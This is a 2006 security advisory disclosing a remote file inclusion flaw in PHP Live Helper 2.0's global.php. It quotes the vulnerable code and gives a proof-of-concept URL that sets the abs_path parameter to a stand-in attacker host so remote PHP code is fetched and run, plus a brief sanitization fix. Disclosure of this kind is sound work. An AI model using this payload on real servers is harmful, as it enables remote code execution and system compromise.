PHP Live Helper 2.0 - 'abs_path' Remote File Inclusion

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[ECHO_ADV_43$2006] PHP Live Helper <= 2.0 (abs_path) Remote File Inclusion
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Author		: Ahmad Maulana a.k.a Matdhule
Date Found	: July, 02nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv4333-matdhule-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
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Affected software description:
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PHP Live Helper

Application	: PHP Live Helper
version		: Latest version [2.0]
URL		: http://www.turnkeywebtools.com/phplivehelper

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Vulnerability:
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-----------------------global.php----------------------
....
<?PHP
/*
  global.php - 05/30/2006 - 5:27pm PST - 2.0

  PHP Live Helper
  http://www.turnkeywebtools.com/phplivehelper/

  Copyright (c) 2001-2006 Turnkey Web Tools, Inc.
*/

define('PLH_SESSION_START', '1');

////////////////////////////
// Load Class & Secure Files
////////////////////////////

require_once $abs_path."/libsecure.php";
include_once $abs_path."/include/class.browser.php";
...
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Input passed to the "abs_path" parameter in global.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Proof Of Concept:
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http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?

Solution:
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- Sanitize variable $abs_path on global.php.

Notification:
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I've been contacting the web/software administrator to tell about this hole in his system,
but instead of giving  a nice response, he replied so rudely and arrogantly.
I recommend not to use this product for your own sake.

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Shoutz:
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~ solpot a.k.a chris, J4mbi  H4ck3r thx for the hacking lesson   :)
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~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ [email protected], [email protected]
~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net
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Contact:
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     matdhule[at]gmail[dot]com

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